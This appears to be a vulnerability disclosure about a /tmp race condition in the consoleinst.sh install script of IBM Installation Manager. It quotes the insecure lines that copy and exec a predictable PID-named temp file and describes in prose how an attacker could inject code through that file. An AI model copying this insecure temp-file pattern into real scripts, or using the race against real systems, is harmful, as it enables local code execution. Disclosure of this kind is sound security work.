Vulnerability:
I noticed a /tmp race condition in IBM¹s installation manager software
install script
The code in consoleinst.sh is:


46 TEMP=/tmp
47 tempScript=$TEMP/consoleinst-$$.sh
48 scriptLoc=`dirname "$0"`
49 slash=`expr "$scriptLoc" : "\(/\)"`
50 if [ "X$slash" != "X/" ]; then
51 scriptLoc=`pwd`/$scriptLoc
52 fi
53
54 if [ "$0" != "$tempScript" ]; then
55 cp "$0" "$tempScript"
56 cd "$TEMP"
57 origScriptLoc=$scriptLoc
58 export origScriptLoc
59 exec "$tempScript" $@
60 # should not return from above exec
61 exit 1
62 fi


If you guess the pid and create the file before the installer script does
you can inject code to be executed at line 59.

This is a log of me controlling permissions of the file during installation
of the product:

[M] -rwxrwxrwx 1 larry larry 34 Thu Oct 29 21:46:10 2015
/tmp/consoleinst-9999.sh
[U] -rwxrwxrwx 1 larry larry 0 Thu Oct 29 21:46:34 2015
/tmp/consoleinst-10382.sh
[U] -rwxrwxrwx 1 larry larry 2225 Thu Oct 29 21:46:34 2015
/tmp/consoleinst-10382.sh

If I'm able to write to that file directly after it's modifed (inotify() for
the win) I could inject commands into that installation script.
